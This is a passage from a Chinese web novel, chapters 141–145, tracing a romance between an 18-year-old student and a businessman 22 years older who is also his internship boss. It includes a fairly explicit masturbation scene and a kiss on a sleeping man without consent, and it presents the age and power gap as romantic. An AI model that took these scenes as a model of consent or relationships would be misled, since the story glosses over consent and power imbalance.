萧疏想骂他太危险了为什么不停下来?为什么擅自往下滑,是不是还没学会,可看到方闻钟开朗的笑容,他知道,他是故意的。 男人前后变化太快,方闻钟脑海里全是他朝自己爬来的样子,还有这一刻宛如真老父亲担心,方闻钟噗噗的,再也控制不住,大笑了起来。 笑声震动着他的胸腔,连带着萧疏也笑出来。 萧疏拍了拍他屁股。 方闻钟低垂下头,心咚咚的跳,还跳得那么快,他安慰自己,不过是刚才被吓的,但看到萧疏脸上的急切,还有此刻放松的表情,为什么跳得更快了些? 他扭扭身子,示意萧疏干嘛拍他。 引来萧疏更加用力,还拍在他屁股上,萧疏教训他,“很危险,你知不知道。” 方闻钟彷佛有用不完的力气去大笑,他用脑袋一下一下抵着萧疏的肩,“你会接住我的,我知道。” “起来,”萧疏将软乎乎的一团蓝色拉起来,揉了揉他僵硬的脸颊。 方闻钟的开心又通过眼睛流出来,“萧疏,好开心啊。” 滑雪好好玩,他这样对他说。 于是萧疏又带领他去体验林间雪道。 两边是紧密交错的树木,只留中间未知的一道道U型弯路,萧疏像抱小孩一样托着方闻钟在他身前,再三嘱咐,“要抱好,知不知道?” 方闻钟使劲点头,却在男人滑出的瞬间,趁速度还没那么快时,就双手撒开在萧疏脖子两侧啊啊大叫起来。 一时,林间全是他的放肆。 以及萧疏的怒里掺杂着甘之如饴。 风掠过他们的脸庞,无数次方闻钟感觉要随萧疏摔在山林里不知道在哪死去,树枝和冰凉的雪粒擦过他脸颊,他紧紧拥抱着他。 不知道什么理由但可以用力埋在他怀里,方闻钟的呼吸喷洒在萧疏脖颈,他可以在他朝他转头时,大喊:“萧疏,我今天学会了滑雪。” 也可以在萧疏目视前方专注带他下去时,安静地轻轻触碰萧疏带水的刘海。 萧疏,代替方闻钟张扬而热烈的,是从车前见人终于渐渐平息的急躁。 他们在山林间,互相瞒着对方,将脸颊贴近对方的唇- 滑了一个白天,脱了衣服萧疏拍拍方闻钟全身。 方闻钟龇牙咧嘴,萧疏嘲笑他,“今天摔坏了吧,哪儿特别疼?” 方闻钟犹豫了良久,把都还好三个字,换成“都好疼,”还眼泪汪汪的。 萧疏于是大力抱了他一下,胳膊差点把人夹起来,“好了,最后一项,我带你去泡温泉放松。” 就在山下的一座温泉酒店里,四处白雪皑皑,冒出的树木低矮可爱,萧疏挑的这处池子是浅绿色的汤泉,据说加了放松肌肉的药材,方闻钟换好袍子,在白雾缭绕中踏出脚丫。 一进池子就被温暖包围,等了片刻,才等来一身黑袍的萧疏,他胸前的衣领大开着,随着人入内,弯腰,方闻钟看到了不该看的东西,他忽然欲盖弥彰地把头转过去,撩水玩。 男生留给萧疏一个单薄的背影,以及红红的耳廓。 泡到方闻钟浑身出汗,他嘴巴微张着,眼睛迷离,手不自觉往萧疏那边伸。 想要离人近一点。 手触碰到萧疏的胳膊,忽然发现萧疏什么时候脱了外袍。 方闻钟睁大眼睛,可他忽然觉得自己有些晕,怎么都看不清,于是他在萧疏的视线中,非常自觉地将自己的手掌,粘贴萧疏胸膛。 萧疏抓住他手腕,男生差点整个滑坐进去水里。 幸好萧疏捞住了他,“方闻钟,你要干什么。” 萧疏知道,方闻钟可能有些少年心动,但绝不会现在就和他迈进亲密关系。 他可想不到,就在刚刚,方闻钟本来只是下面稍有点反应,可能男孩憋久了,也可能泡的药材有其他功效,小方闻钟起来了。 却在摸上萧疏胸膛,萧疏捉住他的刹那! 方闻钟脸红心跳! 因为下面突然硬得有些疼,奇异的反应一下将他拉进现实,再也顾不上别的什么了,萧疏还在他身边,他怕他发现。 方闻钟感觉丢人极了,五分害羞让他表现出了十分搡拒,他一把推开萧疏的脸,急匆匆往外面跑。 在萧疏疑惑,慢慢恍然大悟到欣赏看好戏时,方闻钟的五脏六腑一起随下面烧成了亟待爆发的活火山! 第142章 方闻钟喜欢萧疏! 萧疏慢条斯理地从池子里出来,问服务员,方闻钟去了哪里?服务员指路,跟他一起来的男生已经跑回房间休息了。 是休息吗?萧疏一挑眉。 原木色装修的洗手间内,方闻钟穿着袍子将水龙头打开,他站在淋浴头下。 水流冲刷着他紧贴的单薄的身体,还有红通通的不太清醒的脑子。 似乎感觉还不够刺激,他一狠心将水温直接开到了冷水,铺头盖脸的冰水浇下来,方闻钟直打哆嗦,可他还是屈服于本能反应之下。 在小方闻钟疼得受不了时,他竟颤抖着双手,扶住它。 开始用两只手,由于太不熟练,方闻钟都快哭出来了,他身形摇摆,后来一咬牙,一手扶住墙壁,一手紧紧抓着它离水流远了点,后背被冰水冲刷着。 方闻钟恼怒又急切地责怪自己,为什么连这都不会,为什么还出不来,他气得想打它。 咚咚,他好像听到门被敲响了,那一刹那,他只有一个反应。 萧疏来找他了。 萧疏? 男人半露的身影滑过他肮脏的脑海,方闻钟忽然明白,不是他不会,而是他没找对方法。 当那个人出现的一刹那,在他心里烧起来的一瞬间,小方闻钟更加昂首挺胸,可在憋到发疼的时候,也叫他快速贯通找到了极大的乐趣,唔,他痛苦地闷哼,嗓子溢出的声音变形,唯恐叫外人知道,他在做什么坏事,他在亵渎他。 越这样想动作和大脑越不受控制,他竟然敢在幻想里剥掉萧疏碍事的袍子,男人伟健的胸肌露出来,方闻钟用尽一切感官去考虑触碰到它应该是什么样的奇妙,可再往下他不敢想了。 只能想到一片黑色,包裹着他,他踏水而出。 “萧疏,”他终于忍不住叫出他的名字。 这一刻提醒着方闻钟他有多荒唐,多不可理喻,可男生弓着腰,终于将那抹白色,泄出自己怎么也堵不住的指尖。 开到温水,方闻钟呆愣地站在原地,不敢想像,他对自己弄脏的浴室闭目不看,可这样反而能闻到一些让他非常羞耻的味道。 方闻钟不知道在水下是哭了还是激动地流泪,用了比刚才两三倍的时间,方闻钟才迷迷糊糊打扫干净出来。 男生全身冰冰凉凉的,脚步虚浮,他走出卫生间,躺在榻榻米上。 温柔的暖光,打在他玉白的身体上,他抬起胳膊,挡住自己湿润的眼。 怎么可能?方闻钟竟然想像着萧疏的样子伺候自己!再早些时候,他竟然因为看到他摸到他而起那么剧烈的反应!小方闻钟背叛了自己,大方闻钟不敢接受。 深深吸气,又竭力压下声音,方闻钟忽然转身跪着埋在床上。 啊啊啊啊啊啊,他怎么可以这样! 再往细里想,方闻钟考虑,一个男人,对另一个男的!做出这样的事,是因为他喜欢他吗? 喜欢? 这个词再次让方闻钟火山爆发! 他坐立起来,颤抖、焦躁、不安,在面容扭曲,到震撼呆愣,再到非常不好意思。 方闻钟捂住自己的脸,最后不好意思和羞愧完全占了上风。 其实无论他怎么怀疑、尴尬,都不妨碍他刚才靠着想那个男人给自己打手木仓,可那个男人是萧疏! 想到这里,方闻钟想扇自己一巴掌。 敲门声响过一次后,给了方闻钟足够多的时间平静,在心跳安分小方闻钟不找事的时候,方闻钟才有空细想和萧疏的这两日相处。 他靠过他的肩,枕过他的大腿睡觉,他扑在他身上怀里笑,萧疏打他屁股,他还用力埋在他怀里和他做很刺激很危险的滑雪动作,这早已超出了朋友、长辈…… 他是喜欢他的对吗? 他早已经接受了这件事对吗? 想通的一瞬间,方闻钟嘴角咧开,幸福得直冒泡,可随之而来的,还有怎么都受不了的急躁、不安,他不敢去现在见萧疏,反而在这里独自承受一切让方闻钟更欣喜。 咚咚咚。 要他命的人还是来了。 再不开门不好意思,方闻钟还怕萧疏会不会自己闯进来,他迅速扒拉着头发,穿着一身短袖短裤飞快跑到门边,给他开门。 跑路时,拖鞋差点扔掉一只,他伸长腿赶紧勾回来。 门打开,见到萧疏的刹那,方闻钟想,逃了算了。 他闭着眼像要往外冲,萧疏拉住他手臂,整个人将他又堵回去,萧疏早已一身正装,殊不知,这貌似是更吸引方闻钟的样子。 “方闻钟,你刚才,怎么了?” 他明明知道! 方闻钟恼怒这个欺负他的男人。 因为萧疏一手拉着他,一手却将他抵在角落,他唇边溢出完美无缺的笑,却蛊惑地低头在方闻钟耳边轻语。 你怎么了? 应了。 那两个字带着疑问从萧疏嘴里问出时,方闻钟恨不得找个地缝钻进去,太丢人了!他还怕萧疏问他为什么反应? 僵持之下,萧疏忽然抬起手,他抓着方闻钟的脖子,将他的头埋在自己胸口。 方闻钟抵着他的肩,男人一下一下,轻柔地揉|捏他,安抚他。(揉的是脖子啊!) 往常很喜欢这个动作,可这次不一样,鼻尖全是他的味道,呼吸,额头贴着萧疏脖子的皮肤,他手下的力道,或轻或重,似挑|逗,又似方闻钟多想。 他不用说话,萧疏不用做更多,就将方闻钟控制在手心。 重新撩|拨起来。 小方闻钟又开始蠢蠢欲动了,方闻钟扭捏,他想躲开,想跑,脖子被用力握住。 “萧疏,”他求饶。 可萧疏连叫他一声名字都懒得喊,他脸上好像很冷漠,手下却一丝不放。(抓的还是脖子啊审核!从头到尾除了脖子没碰其他任何地方!) 方闻钟只能尽力往后躲,他翘着屁股,下半身使劲离萧疏更远,只有萧疏的视角,才能看到他这个姿势有多诱人。 抓着他脖子的手,好像松了片刻,那是萧疏在考虑,要不要拍他屁股一巴掌。 似乎时机还不太对,似乎会破坏这纯爱的气氛。 萧疏笑了一下,低头贴近方闻钟耳朵。 方闻钟怀疑刚才萧疏是不是咬上他耳尖了,可又怀疑,肯定是自己动作太大,摇头晃脑,才叫自己的耳朵送到他齿间。 又是这两个字,让方闻钟害怕,‘要我帮忙吗?’。(没有帮忙没有碰!两个人都没碰!) 事后方闻钟很怀疑自己,这是萧疏真说出口的话,还是全是他的臆想。 他甚至不知道,他有没有当着萧疏的面,在门口,就将自己的手无耻地放在小方闻钟上。 隔着一层衣服,隔靴搔痒,怎么都不够痛快,可似乎这种萧疏眼皮子底下的不够,比刚才的‘够了’还叫他心痒难耐、痛苦不安。 萧疏包容、理解,当过了二十四小时,方闻钟再看到男人时,彷佛男人早忘了方闻钟在他面前的那一幕真实。 也不够重要的真实。 在方闻钟心落下的时候,他再次确定地承认了,他喜欢他。 他喜欢萧疏! 可真是悲哀啊,用着最悲观的词形容自己的感情,方闻钟却抑制不住地微笑、感觉到幸福。 他们要回去了,分开时,萧疏问他:“跟我回家还是?” “回学校吧,”方闻钟有些不舍,却迫不及待想切割开来他和萧疏的现在。 “嗯,”方闻钟转头,又一次次回头。 萧疏,他想提一个无理的要求,能不能再待一段时间,不说话,他就静静地看着他,是有够无理的,萧疏那么忙,他还要去渊枢资本上班。 那样更遥远了,渊枢资本里面的,是萧总。 方闻钟看不到自己眼里的可怜巴巴,萧疏叫住他。 “过来,”他招手。 方闻钟没有片刻犹豫,立马跑过去。 萧疏双手撑开,揽住他的肩将他抱在怀里,一个很安全,也很温暖的怀抱。 已经抱住人了,还顺手抚摸他后脑勺,萧疏才说:“抱一下。” 抱几下都行,方闻钟心砰砰跳着,萧疏提什么要求他都答应。 “抱一下,”萧疏又说了一遍,方闻钟疑惑,从他怀里抬起头。 “嗯?”萧疏挑眉,方闻钟竟然懂了! 他笑着也伸出自己的胳膊,揽住男人的后腰,原来这才是抱一下,互相抱一下。 方闻钟可开心了,裂开嘴偷笑,再分开抬起头时不想叫萧疏发现。 可他身上的悲伤哀怨终于消失了,“萧疏,”他不再叫他萧叔叔。 “我可以,过两天来你公司找你吗?” 狗狗送走了,没有理由再住进他家,他没有别的能帮到他的地方,方闻钟开始动脑筋,他能为萧疏提供其他什么价值吗?好叫他一直赖在萧疏家里。 萧疏说:“你可以一直实习,到你想成为渊枢的一份子的那一刻。” “方闻钟,继续住我那里可以吗?我需要你。” 需要你带来的活力和笑容。 需要你在我眼前晃啊晃。 直到我可以伸手,抓住你。 不再把你藏在心里,可以把你随意抱在怀里。 第143章 “萧疏,我也有人疼爱我,对吗?” 新学期开始,方闻钟报名了春季运动会。 他要跑3000米,因为班上这个项目动员好久没人报,最后方闻钟自荐了,让组织的同学开心坏了,连连激动感谢他,“到时候我们都给你送水啊!” 跑步前一晚,他就跟萧疏说了,委婉地问他,“你会来吗?” 萧疏当时说的是看情况,他明天有会。 方闻钟已经换好了衣服,还有两个项目就到他,他频频注意着操场入口,萧疏还没联系过他,方闻钟都有股冲动现在跑去校门口看一看! 停车场那边还是看不到熟悉的车辆,他大概不会来了,方闻钟低着头牢牢绑鞋带,说不难过是假的。 “方闻钟,”他脚边站了一个人,那人极其自然地将手放在他脖子上,捏了捏。 “抱歉,我来迟了,”萧疏跟他道歉。 方闻钟一下迅速地站起来,他看到了完全不一样的萧疏!萧总脱去西装皮鞋,换了一身运动装!他甚至为了不叫自己太醒目,还戴了一顶棒球帽,此时站在方闻钟身边,一点都不违和,至少同学们没看出来这是大名鼎鼎的萧总。 可总归是有那么几个眼尖的,尤其是当初对萧疏带着方闻钟在校领导面前露面一事耿耿于怀的人,他们眼熟萧疏,又仔细辨认终于确定,渊枢资本的大佬,因为方闻钟来他们学校运动会了! 除却放不开的,多的是人一下拥到方闻钟身边,跟他套近乎,彷佛他们多熟悉。 “方闻钟,你叔叔也来了呀,”他们羡慕敬仰的目光看向萧疏,却这样借由方闻钟称呼他。 听到叔叔,方闻钟脸红加恼火,他想看又不敢看旁边这时萧疏的反应。 没人反驳,于是大家统一这样叫。 “你叔叔……你叔叔……” 方闻钟走到哪里都有人跟,美名其曰,待会儿陪他一起上场,可多次提起另一个人,萧疏已经坐在看台上,没有惊扰学校老师和领导。 “萧疏!”方闻钟忽然站在跑道上,抬头朝他们专业的位置大声喊道。 惊到了萧疏,萧疏抬头。 “你能帮我买瓶水吗!”方闻钟几乎是急切又命令地这样对萧疏说,彷佛如此能反应出他和萧疏的不同,萧疏待他的区别,他才不是他的萧叔叔。 萧疏站起来,手插在兜里,忽然笑了一下,因为周围过于安静,于是同学们都听到了萧疏的回应,“等着。” 比萧疏到场更令人震惊的,是方闻钟突然的放肆和萧疏的配合,没人再用萧叔叔套近乎了,纷纷以一种奇异的眼光看方闻钟。 方闻钟在跑道上做最后的准备,萧疏把水递给他,“喝一口?” 方闻钟抬起自己的手,“我,我手脏了,刚才碰脚了,”多么拙劣的理由。 萧疏给他拧开,凑到他嘴边,“抬头,”他提示他,亲手握着水杯轻轻往他嘴里倒了一口,“好了吗?” “好了,好了,”方闻钟唇边溢出来几颗水珠。 萧疏笑话他,“再不好我怕你待会儿没法跑,三千米,方闻钟,你行吗?” 方闻钟只听得见最后三个字,他忽然道:“你给我加油的话我就可以!” 他左右环顾着,“你看,”结结巴巴,“跑道周围那么多给运动员加油的人。” 萧疏也看向陪跑的男男女女,挑眉,“那他们是什么身份?” 男朋友,女朋友,左右不是家长,方闻钟小鹿般的眼神恳求地看向萧疏,“不可以吗?不能站在这里等我一圈一圈跑过来吗?” “可以,”萧疏拧紧水,拍了拍他的头,又用指尖替他擦去唇边的湿润,“去吧,我在这里看着你,不去上面坐着了。” “你说好了?”方闻钟倒退着和萧疏告别,忽然扬起一抹灿烂的笑转身跑到起点队伍中。 信号枪一响,方闻钟就作为第一梯队快速向前跑去,他没有策略,没有省力气,只想绕过一圈,第一个看到萧疏。 方闻钟跑过萧疏时,萧疏给他加油,“方闻钟,加油。” 方闻钟觉得自己有用不完的牛劲,更卖力一个人独领整支队伍了,萧疏在后面都看笑了,他用拳头抵着嘴,“不用跑这么快的啊,”轻轻笑语。 第二圈第三圈跑过来,方闻钟都要大笑着张开双手,彷佛要抱住萧疏。 萧疏起初被吓了一下,害怕撞到他,往后退,后来知道方闻钟是故意的,他有控制弯道。 那个男生,在跑道上展示了从未有过的开心和高调。 方闻钟总是第一个,风吹着很舒服,大长腿迈步向前,他也有这么冲动的时候,彷佛是怪异的兴奋,是不可对人说的占有欲,“方闻钟,加油!” 萧疏大声对他喊。 方闻钟畅快地笑起来,原来有人注目着,关切地看向他为他加油是这样体验感很好的场景!谁不想自己是某个人眼里的唯一,以前方闻钟没机会,没人会独自在意他,关注他,所以他缩在角落,不打扰别人很安静。 今天,世界上除了萧疏,没有方闻钟能放到眼里的人和景,萧疏,是他那么喜欢的人。 方闻钟越跑越快,后来萧疏跟着他小跑半圈,他们低低交谈。 “要喝水吗?” 他不语,他递给他,方闻钟灌下一大口。 呼哧呼哧,呼吸开始吃力,肺部疼痛,大腿肌肉酸软,萧疏提醒他,“还有挺长距离,方闻钟,坚持一下。” 他停在他背后,方闻钟带着重新充满电的身体奋力向前。 他被人追到了第二名,第三名,方闻钟急得眼通红,他还要加速,被陪跑的萧疏轻轻拉一下手腕,“别着急,别着急。” 方闻钟认了,第三也可以。 萧疏的存在,渐渐引来很多人注目,都是年轻学生,那个成熟男人一直围在方闻钟身边,不免让人疑惑他们是什么关系。 亲人也好,叔叔也好,朋友也罢甚至其他离奇的猜测。 这一刻在萧疏身边短暂的距离,方闻钟是最开心的,若不是他喜欢他,萧疏单单以他家长的身份因为方闻钟到来此地,都足够叫方闻钟喜上眉梢。 喜欢,心动,感情为这一幕增添了更绚烂的心情。 最后两圈了,方闻钟跑过来突然冲到萧疏怀里,萧疏巧劲接住他,方闻钟暂时第三,第四落后他还很多,趁着这点时间,方闻钟大喘气全身冒汗,他靠在萧疏身上,“萧疏!你可以去终点等我吗?”。 他这样要求他。 最后一圈了!最后几百米!方闻钟旁边全是为他加油喝彩的同学,他看不清终点的人,但他知道终点有人等他,再跑快点,再追紧点! “方闻钟!” 天翻地覆,方闻钟因为脚步频率太快,临近终点,忽然摔了! 他的身体像一只断了翅膀的鸟,极其不受控地向跑道外甩落出去,“啊!”无数人为他惊叫! 萧疏肃着脸跑过来,终究没有接到摔倒的方闻钟。 方闻钟整条膝盖擦在地上,裤子磨破已经一片白里透红。 他的手掌也受伤了,差点擦到脸,方闻钟脸颊上沾着一片尘土,在萧疏扶住他腰,他还没反应过来,生理疼痛让他有点懵逼,眼里氤氲湿润。 “疼吗?”萧疏知道自己问了句废话,他心疼地想抱起他,不顾一切,别跑了,他受了很重的伤。 方闻钟却举着手,腿弯被萧疏要抱起来时,他痛苦地对萧疏说:“我没有名次了,我肯定不是第三了。” “方闻钟!” “你,你放我下来!”方闻钟挣扎着从萧疏怀里跳下来,“萧疏,我还要跑,”他祈求他,他要跑完。 不是第三、第四,不是任何名列前茅的名次都可以。 方闻钟一瘸一拐,走完最后一程,无数人为他喝彩,鼓励他,可他眼里心里只有一个人。 当同学们为方闻钟拉好红绸让他冲过终点时,萧疏立马在方闻钟撑不住的前一刻大手抱起了他。 “去医院,”萧疏说。 方闻钟在萧疏的怀里,分不清汗与泪,也分不清泪是委屈还是疼痛,他身体有些抖,又软绵绵的一点都没有力气,“萧疏,”嗓子干到冒烟了。 他亲昵地说:“我也有人疼爱我,对吗?” 萧疏将脸颊粘贴他脏脏的额头,喉头滚动,多少岁的方闻钟,哪一刻的方闻钟,都叫他心动,爱方闻钟,是一件如此简单又幸福的事。 “嗯,”萧疏压制住自己的情感波动,在他发梢落下方闻钟不知的一吻。 “我今天是不是很幼稚,”方闻钟追问。 跑完了,他才觉得自己的一举一动有些上头,头脑发热什么都没想,就那样去做了,像不懂事的小孩子一样炫耀,又像不理智的毛头小子一样卖弄、表现。 他努力跑那么快,努力想在萧疏的陪伴下拿到第三名,可最终还是失败了。 萧疏将人放在医院的椅子上,“不幼稚,方闻钟,你今天很厉害!”你很棒,他夸他,“是我心里的第一名。” 真哄小孩儿了,方闻钟破涕而笑,在医生为他处理伤口时,他藉着疼痛的藉口,整个人牢牢抱住萧疏,在他怀里呼吸,啜泣- 前两天还好好的方闻钟,再回到别墅撑着一根拐杖。 最开始从医院出来萧疏为他准备了轮椅,太夸张了,为了在学校方便,方闻钟最后拄着拐杖行走,腿没有骨折,都是皮肉伤,医生让好好保护,及时换药不要沾水。 接下来是老校区的课,连带着一个周末,萧疏将方闻钟接到了别墅。 走到楼梯旁,萧疏作势又要抱他,在学校他就是这样做的,方闻钟说不清为什么一直没拒绝,就真当自己腿瘸了。 现在在家里只有他们两个人,他忽然非常不好意思,连连向后躲。 “其实,不用了,我自己可以。” “嗯,”萧疏笑了一下,他挂好外套,眼见萧疏走了,方闻钟失落地回头盯着他。 脱了衣服,萧疏又走过来,这次却是蹲在方闻钟前面,以一个单膝点地的姿势。 “背你上去,”他平静地说。 方闻钟永远拒绝不了这样的诱惑,再来一百次也是! 他趴在他背上,安静地这样想。 第144章 偷亲,方闻钟:萧疏有没有可能也喜欢他! 萧疏周六不在,因为昨天他出国了,本来原总负责的一个项目,需要他去国外洽谈,但听说原总女朋友出事了,那边闹着不叫他离开,原总打电话来叫萧疏救场。 萧疏冷笑了一下,还是以公司事务为重,于周五晚匆匆出国。 临走前他吩咐方闻钟,一个人在家待无聊了可以出去转转,方闻钟答应得好好的,“我可以去学校”,却待在家里一整天没外出。 狗子被带走了,家里安静很多,还留着狗子的东西,方闻钟看到,替它收拢起来,里面甚至有他给它买的最便宜的一个绿色小毛球,萧疏也没扔掉,狗子明明一开始玩了两下,后来很嫌弃不爱玩这类猫才喜欢的玩具。 东西收着收着,就走到了他自己住的客房。 昨天方闻钟没多注意,今天才发现这间房间里这么多属于他的东西,是萧疏一点一点潜移默化添置的。 原来的计算机桌,换成了更方便他学习的大桌子,旁边的书架上原来摆着装饰书,现在竟然一本本都是专业相关的或者其他文学类作品,萧疏给他准备的课外书?方闻钟都不知道架子上的书是什么时候换上去的。 他抽出来一本,可这也不是萧疏自己看的吧,对他来说太小儿科了。 方闻钟看正好。 他忍不住笑着坐在地上,像发现了宝藏,连一本专业书也看得津津有味。 看书看到下午,方闻钟拿起那把大提琴,练习自己喜欢的曲子。 大提琴他还给萧疏后,萧疏一直摆在方闻钟的房间,他触手可及,不用萧疏说,方闻钟就知道萧疏的意思,他随便用。 回忆着萧疏教过他的细节,方闻钟慢慢复刻男人拉琴的样子。 太阳很快西去,天色擦黑,方闻钟接到了厨师的来电,今天中午他特意告诉过厨师,晚上不用来准备晚餐了,萧疏又不在,中午的午餐他都只吃了一小半。 厨师又打来电话确认了一遍,不用他来。 他转头告诉雇主。 等到天完全黑,方闻钟也饿了,想着热一点中午的剩菜,解决晚饭,可他在光洁明亮的厨房研究了半天,却尴尬地发现他不会开火。 找来找去,他唯一会用的一个厨具就是微波炉。 好像也没那么想吃饭了,方闻钟拿出面包,还有冰箱里的一盒牛奶,快乐地返回他的小客房。 在萧疏家里客房只占一隅,可说起来,它竟比方闻钟从小生活到大的房子还大不少,渐渐的,这里方闻钟的东西,都比他原来家里的要丰富了。 那间屋子只有书,以及维持他生存的基本物资。 高中毕业后,他想了许久要不要把小房子卖了,说实话,他不是很想再回到过去,虽然未来充满未知和遥远,但方闻钟尝试着去过新的生活,和过去做了断。 一个暑假没找到卖家,反而被街坊邻居嘀咕,考上大学了心大了也不懂得感激…… 他只好卖惨,没钱上大学才想卖房子…… 房子没卖掉,方闻钟通过其他打工挣到学费,仔细一想,他竟然不怎么怀念老地方。 拉琴,看书,和同学在手机上聊天,方闻钟忽然就熬到了十二点多。 楼下突然有响动,他竖起耳朵,穿着睡衣打开客房门,恰在此时,萧疏端着一个装有三明治的盘子到他门口,双方都有一瞬惊讶。 萧疏把食物递给他,“厨师说你今晚没吃饭,”他捏着自己的鼻梁。 方闻钟接过更愣了,“我,我吃了面包,”低头看看三明治,他好像发现了一个大秘密,“这是你做的?” “嗯,”萧疏没空跟他再说了,“能吃得下去就再吃点,”他摆摆手,回自己房间洗澡。 方闻钟站在门口,男人不见了,还探了探头,萧疏已经回来了呀! 还用这么快的时间给他做了吃的? 方闻钟看着盘子里卖相和味道都熟悉的三明治,笑得牙不见眼,那次公园里,也是萧疏自己做的啊,还骗他厨师做的。 方闻钟啊呜一大口,要是当初知道萧疏下厨,他肯定全吃完! 抱着两个小三明治全部塞进嘴里,方闻钟浑身笼罩着一股喜悦,更想出去和萧疏见面、说话。 萧疏洗完澡,穿着睡袍,到他这边来,他示意方闻钟,“洗漱了吗?要换药。” 貌似这才是他连轴转赶回来的原因,似乎担心方闻钟一个人在家照顾不好自己,方闻钟今晚还真没自己换药,一方面是拖延,一方面……好吧,忘了,觉得不用每天麻烦换。 他卷起自己的裤子,把腿放在萧疏前面。 萧疏小心翼翼地用棉签给他擦洗过,方闻钟注意到,男人的头发还微微有点潮湿,平时整洁地梳到后面,现在散落在前有点淩乱,萧疏擦完药,又捏了捏自己的眼睛。 拿过一旁的纱布一圈圈给方闻钟缠上,“好了,睡吧,”他摸摸他头。 拿着他喝完的牛奶杯出去了。 “晚安,”他对他说。 门关上,方闻钟还傻站在原地,今晚像一个温暖的美妙的梦境,萧疏体贴入微,他似乎察觉到一点工作之外的生活里的萧疏。 萧疏将杯子洗过之后放下,原总又打来电话,他身着浴袍,顺势坐在一楼客厅的沙发上。 “萧疏,你回来了?” “你家藏着谁啊这么着急忙慌的,还当自己二十呢,”那边嘲讽他,“不累死你算了。” 萧疏听到原总的屁话,冷嗤出声,“管好你自己。” …… 二人互呛几声,主要表现为原总觉得萧疏太累了,不用今晚急着回家,萧疏觉得这一切都是原总的锅,没他搞事他也不用放着方闻钟一个人在家出去工作。 互相怼完了,又谈回要事。 萧疏闭着眼,靠在沙发靠背上,有一搭没一搭地听对方讲,“嗯。” “嗯……” 方闻钟打开门,静悄悄的,他下楼去,没想到真在一楼看见了萧疏。 萧疏枕在沙发上,连方闻钟的靠近都没察觉。 走近了,方闻钟才发现,萧疏睡着了,他闭目养神,手里的手机躺在沙发一角,四肢自然地舒展。 还能听到他入睡的呼吸声。 看起来萧疏今晚真的很累啊,在工作忙到最后,竟然在这里睡着了,方闻钟蹲在萧疏脚边看他。 浴袍遮遮掩掩,只露出他的脖子,可因为他大张着腿,下面健硕的大腿、小腿肌肉,还有脚踝,都裸露在方闻钟眼前。 他眨了眨眼,用力把眼神挪上去,不看下面,最后视线滑过浴袍的系带时,方闻钟更是慌乱地躲过。 盯着他的脸。 越看男人的睡颜,他越平静。 萧疏的头发原来很长,睫毛也长,他睁眼时,气势很足,脸颊表情又显得不近人情,让人望而却步。 当然这是萧总的模样。 方闻钟的脑海里,萧疏越来越温和,柔软。 他闭着眼时,气质取强势和温柔的中间,让人想更接近他,碰碰他。 方闻钟抬起手,在萧疏眼下的青黑处轻轻描摹了几下。 因为长时间保持着这个动作,他一不小心,碰到了萧疏的脸颊,幸好,萧疏没醒过来! 方闻钟在他身上、脸上看到了岁月的痕迹,他比他要大22岁,再想起这个时,方闻钟单手拄着脸,笑得很开朗,那又怎样,他喜欢他。 方闻钟的胆子突破天际,他竟然趁萧疏睡着了,看着他的样子一点一点低头。 将自己的唇印到了萧疏的唇瓣上。 亲上去的那一刻,生理感受远不及心理的惊涛骇浪!劈头盖脸!他压根不知道除了相似的温度和柔软还有什么,他只知道,他快要昏过去了。 又热又晕,方闻钟离远点,继续坐在萧疏脚边,无言地摸着自己的额头。 萧疏醒来了。 他侧脸看向方闻钟。 “方闻钟,”叫到他名字,方闻钟才惊到站起来。 萧疏也站起来,“你怎么在这里,刚干什么呢?” 他发现了吗?他知道吗?方闻钟惊愕地瞪圆眼,“我,我……”他哑口无言,紧张到一个字都吐不出来。 后悔,害怕,种种情绪马上要冲上来,萧疏摸了摸自己的嘴唇,“方闻钟,回去睡吧。” 他又这样对他说,一切都没发生,还是那样寂静。 “萧疏,”方闻钟猛然回头,叫住了已经向前走了几步的萧疏。 萧疏回身,看他。 “你国外忙完了吗?怎么今晚就回来了?” “忙完了,”萧疏:“不然也不能把你一个人丢在家里,”他笑说。 “你刚刚,醒来了吗?” “醒来什么?” “……” “你想问什么,方闻钟,”萧疏走向他,盯着方闻钟的唇。 方闻钟闭嘴,在心里大声默念。 萧疏有没有可能,也喜欢他? 第145章 萧疏:“方闻钟,可以吗?” 原总要组个局给萧疏赔罪,破天荒地来了很多人,大家都是商业场上的同伴,今天你争我抢,明天勾心斗角,工作结束回到夜生活,脱了一身正经西装,一个个又恢复成人模狗样,勉强称之为朋友。 喝喝酒,互损、嘲讽,寻开心。 因为萧疏长久的缺席,今天他到场竟成了主位。 一来解开扣子,就有人翘着腿坐在沙发上端着酒杯先发制人,言辞轻浮又调侃,“萧总,终于舍得出来了,我以为近来身体抱恙外面的花草已经对你丧失吸引力了。” 局上陪酒的人尴尬又安静地不敢插话,在场大佬都是他们平时压根接触不到的人。有人接了这句话,又玩笑到别的地方去,萧疏和那人碰杯,手腕和松弛都在不言中。 情人,似乎是他们这个局里最容易扯起来的话题,因为大家半斤八两,又懒得说道费脑子的事,这等毫不费力的愉悦,便纷纷拿来做调剂。 原总第一个被抬上桌,因为他交的女朋友是小有名气的明星,最近闹了些绯闻,缠得原总有些头疼。 那女人精明的很,原总皱着眉,喝酒。 话题终究扯到萧疏身上,谁都知道他以前口味多变,情人不断,最近半年多怎么没了消息? 萧疏已经喝了好几杯酒,闻言露出一个志在必得的笑,“你们就别替他操心了!”原总弯腰,碰了碰萧疏桌上的杯子,“我们公司一小孩儿,萧疏最近宠的都要上天了,没追到?恐怕早就是囊中之物了吧。” “人十八岁,萧总就藉着实习生的名义放眼皮子底下了。” 萧疏低低地笑,所有话他都不反驳,甚至是后来人问:“真的啊?”,“十八岁的小情人?”,“这次挺长久的还是年轻好……”,萧疏点着一根菸,娴熟地在菸灰缸里点点菸头。 方闻钟打来电话,萧疏叫他过来。 “怎么,他要来?”原总第一个惊讶,大家一起抱着好奇翘首等待。 “嗯,”萧疏喝完第五杯酒,扫视众人,“别说那么难听,”他做了事还不叫人骂,引来众怒。 畜生啊。 哈哈哈哈。 方闻钟局促地到这个深不可测的地方,不是他误以为的灯红酒绿,如果不是有人专门等他为他带路,他都以为这是商谈秘密大事的场所。 直到偶尔打开的一点门缝,泄出来欢声笑语,方闻钟才明白,高档的酒吧是这样的。 “等等,”方闻钟叫住为他带路的人,他站在外面做了一小会儿心理准备,带路人于是停手。 “那怎么办?就这样晾着呗,”有人问原总。 “萧疏,你那小情人知道你的过往吗?” 原总:“萧总说了别说那么难听,”他笑道:“才18岁的小孩儿,不妨叫他萧总的小男友?” 